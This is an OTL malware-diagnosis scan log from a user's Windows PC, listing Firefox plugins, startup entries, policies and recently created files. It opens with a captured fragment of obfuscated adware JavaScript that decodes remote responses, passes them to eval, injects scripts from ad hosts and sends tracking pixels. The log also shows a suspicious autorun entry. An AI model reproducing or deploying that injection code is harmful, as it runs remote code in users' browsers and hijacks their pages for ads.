b[1]-a[1]});e=e.slice(0,25);for(k=0;k<e.length;k++)a+=' '+e[k][0]}return a.replace(/[_-]/g,' ').substring(0,1024)};a.injectComplianceBanner=function(){var c=document.getElementsByTagName('body')[0];if(0!=c.children.length){var b=document.createElement('div');b.id='cmsie';var d='<span style=\"font: xx-small;color: rgb(153, 153, 153);height: 15px; font-family: Tahoma;font-size: 8px;padding-right: 22px;padding-top: 1px;float: right; top: 2px; text-decoration: none;line-height: 15px;\">Ad by '+ a.extName+'</span>';b.setAttribute('style','height: 15px;position: relative;background-color: #F9F9F9;border: none;border-radius:0');b.innerHTML=d;c.insertBefore(b,c.children[0])}};a.prepareUrl=function(){var c='?',b;for(b in d.directParams)c+=b+'='+d.directParams+'&';c+='k='+encodeURIComponent(d.getKeywords());return'//'+a.hostnames['http:'==window.self.location.protocol?0:1]+c};a.tp=function©{if©{c=a.utils.l.decode©;try{a.response=eval©}catch(b){}if(a.response&&a.response[0]&&(a.response[0][0]= a.response[0][0].replace('zig_pp','rjC8vTw9rG5FpdwKrTsFfHw9rTs5pjn5rdn%3D'),c=a.response[0][3],c=7,7===c&&'function'==typeof a.products['code_'+c]))a.products['code_'+c](a.response)}};a.getInstructions=function©{var b='&cb='+a.prefix+'.tp';a.utils.msie?a.utils.inject_script(c+b):a.utils.ajax.get(c,function(b){b&&a.tp(b)})};a.initPop=function(){if(-1!==window.location.href.indexOf(a.pop_collision_id))return a.injectComplianceBanner();var c=a.prepareUrl();d.utils.getInstructions(c,'tp')};a.injectOnload=function(){'complete'=== document.readyState||10<a.OnloadCap?a.initPop():setTimeout(function(){a.OnloadCap++;a.injectOnload()},200)};d.utils.msie&&9>d.utils.msie||(window.self==window.top&&(a.utils.msie?a.injectOnload():a.initPop()),'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a))}};;try{new function(){if(null==document.getElementById(\"id_a02b170eff6bb769\")&&window.self==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//cjs.linkbolic.com/scjs/cjs/ctxjs.js?aff_id=1151&subaff_id=1263_21073&sbrand=unisales\";a.setAttribute(\"id\",\"id_a02b170eff6bb769\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};})();(function(){new function(){var c=this;c.prefix=\"hggasdgjhsagd\";c.pixelHostname=\"//direct_pop.unition.org/\";c.token=\"px.pluginh\";c.pxlData=\"__pdt\";document.getElementById(\"__hggasdgjhsagd_once\")||(c.Utils=new function(){var a=this;a.l=new function(){var b=this;b.xlat=\"abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/\";b.encode=function(e){e=b._utf8_encode(e);for(var d=\"\",m=0;m<e.length;){var f=e.charCodeAt(m++),a=e.charCodeAt(m++),c=e.charCodeAt(m++),n=f>>2,f=(f&3)<<4|a>>4,l=(a&15)<< 2 | c>>6,h=c&63;isNaN(a)?l=h=64:isNaN©&&(h=64);d=d+b.xlat.charAt(n)+b.xlat.charAt(f)+(64==l?\"=\":b.xlat.charAt(l))+(64==h?\"=\":b.xlat.charAt(h))}return d};b._utf8_encode=function(e){if(e&&e.length){for(var d=\"\",b=0;b<e.length;b++){var a=e.charCodeAt(b);128>a?d+=String.fromCharCode(a):(127<a&&2048>a?d+=String.fromCharCode(a>>6|192):(d+=String.fromCharCode(a>>12|224),d+=String.fromCharCode(a>>6&63|128)),d+=String.fromCharCode(a&63|128))}return d}return e};b.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g, \"\");for(var d=\"\",b=0;b<a.length;){var c=this.xlat.indexOf(a.charAt(b++)),k=this.xlat.indexOf(a.charAt(b++)),g=this.xlat.indexOf(a.charAt(b++)),n=this.xlat.indexOf(a.charAt(b++)),l=(k&15)<<4|g>>2,h=(g&3)<<6|n,d=d+String.fromCharCode(c<<2|k>>4);64!=g&&0<l&&(d+=String.fromCharCode(l));64!=n&&0<h&&(d+=String.fromCharCode(h))}return this._utf8_decode(d)};b._utf8_decode=function(a){for(var b=\"\",c=0;c<a.length;){var f=a.charCodeAt©;if(128>f)b+=String.fromCharCode(f),c++;else if(191<f&&224>f)var k=a.charCodeAt(c+ 1),b=b+String.fromCharCode((f&31)<<6|k&63),c=c+2;else var k=a.charCodeAt(c+1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((f&15)<<12|(k&63)<<6|g&63),c=c+3}return b}};a.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.getParams=function(){var b=location.href.split(\"__pdt\");b.length&&(b=a.l.decode(b[1]));return function(a){var b= {};a.replace(/([^?=&]+)(=([^&]*))?/g,function(a,c,e,g){b[c]=decodeURIComponent(g)});return b}(b.replace(/^.*\\?/,\"\"))};a.getHostname=function(a){var c=document.createElement(\"a\");c.href=a;return c.hostname}},function(){var a=document.createElement(\"div\");a.id=\"__hggasdgjhsagd_once\";a.setAttribute(\"style\",\"display:none;\");var b=document.getElementsByTagName(\"body\")[0];b&&b.appendChild(a)}(),c.pixel=function(){var a=c.Utils.getParams();if(a&&a.cid){var b=c.pixelHostname+\"?\",e=a.sh||\"\",d=a.cid||\"\",m= a.tid||\"\",f=a.adtid||\"\",k=a.pid||\"\",g=a.cc||\"\",n=a.eid||\"\",l=a.hid||\"\",h=a.version?a.version:\"1\",a=a.tid||\"\",q=c.Utils.getHostname(location.href),e={pid:k,cc:g,eid:n,hid:l,v:h,ch:\"0\",cid:d,tid:3,adtid:m,smid:f,pbid:\"0\",oh:encodeURIComponent(q),sh:encodeURIComponent(e)},p;for(p in e)b+=p+\"=\"+e[p]+\"&\";b=b.slice(0,-1);(new Image).src=b}},-1<location.href.indexOf(c.token)&&-1<location.href.indexOf(c.pxlData)&&c.pixel(),c.Utils.msie&&8>c.Utils.msie||\"undefined\"==typeof window[c.prefix]&&(window[c.prefix]= c))};})();}catch(e){}");
FF - prefs.js..network.proxy.type: 0
FF - user.js - File not found
FF:64bit: - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\system32\Macromed\Flash\NPSWF64_16_0_0_305.dll File not found
FF:[b]64bit: - HKLM\Software\MozillaPlugins\@esn/npbattlelog,version=2.6.2: C:\Program Files (x86)\Battlelog Web Plugins\2.6.2\npbattlelogx64.dll (EA Digital Illusions CE AB)
FF:[b]64bit: - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=11.25.2: C:\Program Files\Java\jre1.8.0_25\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)
FF:[b]64bit: - HKLM\Software\MozillaPlugins\@java.com/JavaPlugin,version=11.25.2: C:\Program Files\Java\jre1.8.0_25\bin\plugin2\npjp2.dll (Oracle Corporation)
FF:[b]64bit: - HKLM\Software\MozillaPlugins\@microsoft.com/GENUINE: disabled File not found
FF:[b]64bit: - HKLM\Software\MozillaPlugins\@microsoft.com/OfficeAuthz,version=14.0: C:\PROGRA~1\MICROS~3\Office14\NPAUTHZ.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_16_0_0_305.dll ()
FF - HKLM\Software\MozillaPlugins\@esn/npbattlelog,version=2.4.0: File not found
FF - HKLM\Software\MozillaPlugins\@esn/npbattlelog,version=2.6.2: C:\Program Files (x86)\Battlelog Web Plugins\2.6.2\npbattlelog.dll (EA Digital Illusions CE AB)
FF - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=11.25.2: C:\Program Files (x86)\Java\jre1.8.0_25\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@java.com/JavaPlugin,version=11.25.2: C:\Program Files (x86)\Java\jre1.8.0_25\bin\plugin2\npjp2.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@live.heroesandgenerals.com/npretox: File not found
FF - HKLM\Software\MozillaPlugins\@messenger.yahoo.com/YahooMessengerStatePlugin;version=1.0.0.6: C:\Program Files (x86)\Yahoo!\Shared\npYState.dll (Yahoo! Inc.)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/GENUINE: disabled File not found
FF - HKLM\Software\MozillaPlugins\@microsoft.com/OfficeAuthz,version=14.0: C:\PROGRA~2\MICROS~2\Office14\NPAUTHZ.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/SharePoint,version=14.0: C:\PROGRA~2\MICROS~2\Office14\NPSPWRAP.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/WLPG,version=16.4.3528.0331: C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@nvidia.com/3DVision: C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll (NVIDIA Corporation)
FF - HKLM\Software\MozillaPlugins\@nvidia.com/3DVisionStreaming: C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll (NVIDIA Corporation)
FF - HKLM\Software\MozillaPlugins\@perfectworld.com/npArcPlayNowPlugin: File not found
FF - HKLM\Software\MozillaPlugins\@t.garena.com/garenatalk: D:\Games\Garena Plus\bbtalk\plugins\npPlugin\npGarenaTalkPlugin.dll ( Garena)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@videolan.org/vlc,version=2.1.5: C:\Program Files (x86)\VideoLAN\VLC\npvlc.dll (VideoLAN)
FF - HKLM\Software\MozillaPlugins\Adobe Reader: C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)
FF - HKCU\Software\MozillaPlugins\@nsroblox.roblox.com/launcher: C:\Program Files (x86)\Roblox\Versions\version-a59a59ef5163481d\\NPRobloxProxy.dll ()
FF - HKCU\Software\MozillaPlugins\@nsroblox.roblox.com/launcher64: C:\Program Files (x86)\Roblox\Versions\version-a59a59ef5163481d\\NPRobloxProxy64.dll ()
FF - HKCU\Software\MozillaPlugins\@unity3d.com/UnityPlayer,version=1.0: C:\Users\Jopi\AppData\LocalLow\Unity\WebPlayer\loader\npUnity3D32.dll (Unity Technologies ApS)
FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\[email protected]: C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\MozillaAddOn3 [2014/01/28 21:11:44 | 000,000,000 | ---D | M]
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 36.0.1\extensions\\Components: C:\Program Files (x86)\Mozilla Firefox\components
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 36.0.1\extensions\\Plugins: C:\Program Files (x86)\Mozilla Firefox\plugins
FF - HKEY_CURRENT_USER\software\mozilla\Firefox\Extensions\\[email protected]: C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\MozillaAddOn3 [2014/01/28 21:11:44 | 000,000,000 | ---D | M]
[2014/01/24 21:42:57 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Jopi\AppData\Roaming\Mozilla\Extensions
[2015/03/07 14:03:25 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Jopi\AppData\Roaming\Mozilla\Firefox\Profiles\dx779sv9.default-1397259538342\extensions
[2015/02/26 18:18:56 | 004,222,742 | ---- | M] () (No name found) -- C:\Users\Jopi\AppData\Roaming\Mozilla\Firefox\Profiles\dx779sv9.default-1397259538342\extensions\[email protected]
[2015/01/15 16:14:01 | 000,985,112 | ---- | M] () (No name found) -- C:\Users\Jopi\AppData\Roaming\Mozilla\Firefox\Profiles\dx779sv9.default-1397259538342\extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi
[2015/03/07 00:32:19 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files (x86)\Mozilla Firefox\browser\extensions
[2015/03/07 00:32:32 | 000,000,000 | ---D | M] (Default) -- C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
O1 HOSTS File: ([2015/03/07 13:37:46 | 000,000,752 | ---- | M]) - C:\Windows\SysNative\drivers\etc\hosts
O1 - Hosts: # Copyright © 1993-2006 Microsoft Corp.
O1 - Hosts: #
O1 - Hosts: # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
O1 - Hosts: #
O1 - Hosts: # This file contains the mappings of IP addresses to host names. Each
O1 - Hosts: # entry should be kept on an individual line. The IP address should
O1 - Hosts: # be placed in the first column followed by the corresponding host name.
O1 - Hosts: # The IP address and the host name should be separated by at least one
O1 - Hosts: # space.
O1 - Hosts: #
O1 - Hosts: # Additionally, comments (such as these) may be inserted on individual
O1 - Hosts: # lines or following the machine name denoted by a '#' symbol.
O1 - Hosts: #
O1 - Hosts: # localhost name resolution is handle within DNS itself.
O1 - Hosts: # 127.0.0.1 localhost
O1 - Hosts: # ::1 localhost
O2 - BHO: (BitComet Helper) - {39F7E362-828A-4B5A-BCAF-5B79BFDFEA60} - D:\Program Files\BitComet\tools\BitCometBHO_1.5.4.11.dll (BitComet)
O3:[b]64bit: - HKLM\..\Toolbar: (no name) - Locked - No CLSID value found.
O3 - HKLM\..\Toolbar: (Yahoo! Toolbar) - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\Program Files (x86)\Yahoo!\Companion\Installs\cpn0\yt.dll (Yahoo! Inc.)
O3 - HKLM\..\Toolbar: (no name) - Locked - No CLSID value found.
O4:[b]64bit: - HKLM..\Run: [MSC] C:\Program Files\Microsoft Security Client\msseces.exe (Microsoft Corporation)
O4:[b]64bit: - HKLM..\Run: [NvBackend] C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe (NVIDIA Corporation)
O4 - HKLM..\Run: [] File not found
O4 - HKLM..\Run: [LogMeIn Hamachi Ui] D:\Program Files\LogMeIn Hamachi\hamachi-2-ui.exe (LogMeIn Inc.)
O4 - HKLM..\Run: [Raptr] C:\Program Files (x86)\Raptr\raptrstub.exe (Raptr, Inc)
O4 - HKCU..\Run: [Akamai NetSession Interface] C:\Users\Jopi\AppData\Local\Akamai\netsession_win.exe (Akamai Technologies, Inc.)
O4 - HKCU..\Run: [CCleaner Monitoring] C:\Program Files\CCleaner\CCleaner64.exe (Piriform Ltd)
O4 - HKCU..\Run: [GarenaPlus] D:\Games\Garena Plus\GarenaMessenger.exe ()
O4 - HKCU..\Run: [RESTART_STICKY_NOTES] C:\Windows\system32\StikyNot.exe File not found
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDrives = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableLUA = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: PromptOnSecureDesktop = 0
O7 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel present
O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: Run = "C:\Users\Jopi\AppData\Roaming\Microsoft\Windows\IEUpdate\getmac.exe" ()
O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDrives = 0
O9:[b]64bit: - Extra Button: Skype Click to Call settings - {898EA8C8-E7FF-479B-8935-AEC46303B9E5} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\SkypeIEPlugin.dll (Microsoft Corporation)
O9 - Extra Button: Skype Click to Call settings - {898EA8C8-E7FF-479B-8935-AEC46303B9E5} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O9 - Extra Button: BitComet - {D18A0B52-D63C-4ed0-AFC6-C1E3DC1AF43A} - D:\Program Files\BitComet\tools\BitCometBHO_1.5.4.11.dll (BitComet)
O10:[b]64bit: - NameSpace_Catalog5\Catalog_Entries64\000000000009 [] - C:\Program Files\Bonjour\mdnsNSP.dll (Apple Inc.)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000009 [] - C:\Program Files (x86)\Bonjour\mdnsNSP.dll (Apple Inc.)
O13 - gopher Prefix: missing
O15 - HKCU\..Trusted Domains: aeriagames.com ([]http in Trusted sites)
O15 - HKCU\..Trusted Domains: aeriagames.com ([]https in Trusted sites)
O15 - HKCU\..Trusted Domains: clonewarsadventures.com ([]* in Trusted sites)
O15 - HKCU\..Trusted Domains: freerealms.com ([]* in Trusted sites)
O15 - HKCU\..Trusted Domains: soe.com ([]* in Trusted sites)
O15 - HKCU\..Trusted Domains: sony.com ([]* in Trusted sites)
O16 - DPF: {5AE58FCF-6F6A-49B2-B064-02492C66E3F4} http://catalog.updat...b?1421941629711 (MUCatalogWebControl Class)
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{7B911C01-3728-4D27-81A0-22A3D3F86086}: DhcpNameServer = 192.168.0.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{7B911C01-3728-4D27-81A0-22A3D3F86086}: NameServer = 8.8.8.8,8.8.4.4
O18:[b]64bit: - Protocol\Handler\ms-help - No CLSID value found
O18:[b]64bit: - Protocol\Handler\skype4com - No CLSID value found
O18:[b]64bit: - Protocol\Handler\skypec2c {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\SkypeIEPlugin.dll (Microsoft Corporation)
O18:[b]64bit: - Protocol\Handler\wlpg - No CLSID value found
O18 - Protocol\Handler\skype4com {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files (x86)\Common Files\Skype\Skype4COM.dll (Skype Technologies)
O18 - Protocol\Handler\skypec2c {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O20:[b]64bit: - HKLM Winlogon: Shell - (Explorer.exe) - C:\Windows\explorer.exe (Microsoft Corporation)
O20:[b]64bit: - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\SysNative\userinit.exe (Microsoft Corporation)
O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\SysWow64\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\SysWOW64\userinit.exe (Microsoft Corporation)
O21:[b]64bit: - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O32 - HKLM CDRom: AutoRun - 1
O34 - HKLM BootExecute: (autocheck autochk *)
O35:[b]64bit: - HKLM\..comfile [open] -- "%1" %*
O35:[b]64bit: - HKLM\..exefile [open] -- "%1" %*
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37:[b]64bit: - HKLM\...com [@ = comfile] -- "%1" %*
O37:[b]64bit: - HKLM\...exe [@ = exefile] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)
O38 - SubSystems\\Windows: (ServerDll=sxssrv,4)
========== Files/Folders - Created Within 30 Days ==========
[2015/03/07 14:09:27 | 000,602,112 | ---- | C] (OldTimer Tools) -- C:\Users\Jopi\Desktop\OTL.exe
[2015/03/07 13:59:28 | 001,388,333 | ---- | C] (Thisisu) -- C:\Users\Jopi\Desktop\JRT.exe
[2015/03/07 00:32:19 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Mozilla Firefox
[2015/03/06 14:51:44 | 000,000,000 | -HSD | C] -- C:\$RECYCLE.BIN
[2015/03/06 14:51:36 | 000,000,000 | --SD | C] -- C:\ComboFix
[2015/03/06 11:18:03 | 000,000,000 | ---D | C] -- C:\Users\Jopi\Documents\ProcAlyzer Dumps
[2015/03/06 11:13:31 | 000,000,000 | ---D | C] -- C:\Qoobox
[2015/03/06 11:13:12 | 000,000,000 | ---D | C] -- C:\Windows\erdnt
[2015/03/06 00:28:15 | 000,000,000 | ---D | C] -- C:\Users\Jopi\AppData\Roaming\Solvusoft
[2015/03/05 23:48:47 | 000,000,000 | ---D | C] -- C:\Users\Jopi\AppData\Roaming\.huntedcowcache
[2015/03/03 23:06:46 | 000,000,000 | ---D | C] -- C:\Users\Jopi\AppData\Roaming\Mael
[2015/03/03 23:06:35 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\HxD
[2015/03/03 22:44:22 | 000,000,000 | ---D | C] -- C:\Users\Jopi\AppData\Roaming\SmartSteamEmu
[2015/03/02 19:51:57 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Spybot - Search & Destroy 2
[2015/03/02 19:47:29 | 000,000,000 | ---D | C] -- C:\ProgramData\Spybot - Search & Destroy
[2015/03/02 07:50:52 | 000,000,000 | ---D | C] -- C:\Users\Jopi\Documents\KoeiTecmo
[2015/03/01 22:01:14 | 000,000,000 | ---D | C] -- C:\ProgramData\SkidRow
[2015/03/01 21:42:37 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Iceberg Interactive
[2015/02/28 18:46:19 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\AGEIA Technologies
[2015/02/28 14:38:49 | 000,000,000 | ---D | C] -- C:\Users\Jopi\AppData\Local\BANDAI NAMCO Games
[2015/02/26 15:02:49 | 000,032,768 | ---- | C] (Tebjan Halm) -- C:\Users\Jopi\Desktop\TimerTool.exe
[2015/02/23 14:27:43 | 000,000,000 | ---D | C] -- C:\Users\Jopi\AppData\Roaming\Running with rifles
[2015/02/19 07:54:29 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\LogMeIn Hamachi
[2015/02/13 08:36:22 | 000,000,000 | ---D | C] -- C:\Windows\rescache
[2015/02/11 12:22:22 | 000,000,000 | ---D | C] -- C:\Users\Jopi\Documents\FOMM
[2015/02/11 11:49:47 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\R.G. Catalyst
[2015/02/09 13:48:15 | 000,000,000 | ---D | C] -- C:\Users\Jopi\AppData\Roaming\dekovir
[2015/02/08 19:16:43 | 001,450,256 | ---- | C] (CompSoft) -- C:\Users\Jopi\Desktop\Parkdale.exe
[2015/02/08 19:10:18 | 000,000,000 | ---D | C] -- C:\ProgramData\Auslogics
[2015/02/08 19:10:17 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Auslogics
[2015/02/05 15:12:46 | 000,000,000 | ---D | C] -- C:\Users\Jopi\AppData\Local\Steam
[2 C:\Program Files (x86)\*.tmp files -> C:\Program Files (x86)\*.tmp -> ]
[1 C:\Windows\*.tmp files -> C:\Windows\*.tmp -> ]
========== Files - Modified Within 30 Days ==========
[2015/03/07 14:09:33 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Jopi\Desktop\OTL.exe
[2015/03/07 13:59:56 | 001,388,333 | ---- | M] (Thisisu) -- C:\Users\Jopi\Desktop\JRT.exe
[2015/03/07 13:57:00 | 000,000,830 | ---- | M] () -- C:\Windows\tasks\Adobe Flash Player Updater.job
[2015/03/07 13:40:00 | 000,000,898 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job
[2015/03/07 13:37:46 | 000,000,752 | ---- | M] () -- C:\Windows\SysNative\drivers\etc\hosts
[2015/03/07 06:40:00 | 000,000,894 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2015/03/07 04:09:52 | 000,001,315 | ---- | M] () -- C:\Users\Jopi\Desktop\ROBLOX Player.lnk
[2015/03/07 04:07:06 | 000,067,584 | --S- | M] () -- C:\Windows\bootstat.dat
[2015/03/07 04:07:00 | 1072,304,126 | -HS- | M] () -- C:\hiberfil.sys
[2015/03/07 03:17:56 | 000,014,128 | -H-- | M] () -- C:\Windows\SysNative\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
[2015/03/07 03:17:56 | 000,014,128 | -H-- | M] () -- C:\Windows\SysNative\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
[2015/03/07 01:49:13 | 000,086,352 | ---- | M] () -- C:\Windows\SysNative\hxsy64.sys
[2015/03/07 01:49:13 | 000,029,008 | ---- | M] () -- C:\Windows\SysNative\hxsken64.sys
[2015/03/06 12:58:24 | 000,000,027 | ---- | M] () -- C:\Windows\SysNative\drivers\etc\hosts.20150306-150823.backup
[2015/03/06 09:46:23 | 000,001,648 | ---- | M] () -- C:\Windows\SysNative\ASOROSet.bin
[2015/03/03 23:06:36 | 000,000,881 | ---- | M] () -- C:\Users\Public\Desktop\HxD.lnk
[2015/03/02 07:49:48 | 000,001,133 | ---- | M] () -- C:\Users\Jopi\Desktop\Play Dynasty Warriors 8 Empires.lnk
[2015/03/01 21:45:04 | 000,466,456 | ---- | M] (Creative Labs) -- C:\Windows\SysNative\wrap_oal.dll
[2015/03/01 21:45:04 | 000,444,952 | ---- | M] (Creative Labs) -- C:\Windows\SysWow64\wrap_oal.dll
[2015/03/01 21:42:40 | 000,000,947 | ---- | M] () -- C:\Users\Public\Desktop\Starpoint Gemini 2 Secrets of Aethera.lnk
[2015/02/28 13:45:49 | 000,001,046 | ---- | M] () -- C:\Users\Jopi\Desktop\Play Dragon Ball XenoVerse.lnk
[2015/02/16 16:20:02 | 000,033,856 | -H-- | M] (LogMeIn, Inc.) -- C:\Windows\SysNative\hamachi.sys
[2015/02/12 11:05:37 | 000,404,432 | ---- | M] () -- C:\Windows\SysNative\FNTCACHE.DAT
[2015/02/12 02:49:35 | 000,001,945 | ---- | M] () -- C:\Windows\epplauncher.mif
[2015/02/06 05:01:44 | 000,074,056 | ---- | M] (Khronos Group) -- C:\Windows\SysNative\OpenCL.dll
[2015/02/06 05:01:44 | 000,060,560 | ---- | M] (Khronos Group) -- C:\Windows\SysWow64\OpenCL.dll
[2015/02/06 05:01:44 | 000,027,441 | ---- | M] () -- C:\Windows\SysNative\nvinfo.pb
[2015/02/05 20:50:11 | 004,236,870 | ---- | M] () -- C:\Windows\SysNative\nvcoproc.bin
[2 C:\Program Files (x86)\*.tmp files -> C:\Program Files (x86)\*.tmp -> ]
[1 C:\Windows\*.tmp files -> C:\Windows\*.tmp -> ]
========== Files Created - No Company Name ==========
[2015/03/07 08:58:53 | 001,112,245 | ---- | C] () -- C:\Users\Jopi\Desktop\Shiginima Launcher SE v1.406.exe
[2015/03/07 01:49:13 | 000,086,352 | ---- | C] () -- C:\Windows\SysNative\hxsy64.sys
[2015/03/07 01:49:13 | 000,029,008 | ---- | C] () -- C:\Windows\SysNative\hxsken64.sys
[2015/03/06 00:33:24 | 000,001,648 | ---- | C] () -- C:\Windows\SysNative\ASOROSet.bin
[2015/03/03 23:06:36 | 000,000,881 | ---- | C] () -- C:\Users\Public\Desktop\HxD.lnk
[2015/03/02 07:49:48 | 000,001,133 | ---- | C] () -- C:\Users\Jopi\Desktop\Play Dynasty Warriors 8 Empires.lnk
[2015/03/01 21:42:40 | 000,000,947 | ---- | C] () -- C:\Users\Public\Desktop\Starpoint Gemini 2 Secrets of Aethera.lnk
[2015/02/28 13:45:49 | 000,001,046 | ---- | C] () -- C:\Users\Jopi\Desktop\Play Dragon Ball XenoVerse.lnk
[2015/01/29 23:02:18 | 000,004,096 | ---- | C] () -- C:\Windows\d3dx.dat
[2015/01/28 17:44:05 | 000,003,584 | ---- | C] () -- C:\Users\Jopi\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
[2015/01/27 10:41:43 | 000,740,775 | ---- | C] () -- C:\ProgramData\AndyDrivers.zip
[2015/01/14 13:17:40 | 000,645,632 | ---- | C] () -- C:\Windows\SysWow64\xvidcore.dll
[2015/01/14 13:17:40 | 000,240,640 | ---- | C] () -- C:\Windows\SysWow64\xvidvfw.dll
[2014/12/09 16:03:46 | 000,000,586 | ---- | C] () -- C:\Windows\hpomdl44.dat.temp
[2014/10/25 21:09:22 | 000,000,000 | -HS- | C] () -- C:\Users\Jopi\AppData\Local\LumaEmu
[2014/07/17 09:24:22 | 000,943,043 | ---- | C] () -- C:\Windows\SysWow64\scrypt-c42a54GeForceGTX650glg2tc4032w256l4pOpenCL1_1CUDA6_0_1.bin
[2014/07/16 23:57:01 | 003,130,440 | ---- | C] () -- C:\Windows\SysWow64\pbsvc_blr.exe
[2014/06/22 20:13:42 | 000,056,320 | ---- | C] () -- C:\Windows\SysWow64\iyvu9_32.dll
[2014/06/13 16:23:27 | 000,000,023 | ---- | C] () -- C:\Windows\BlendSettings.ini
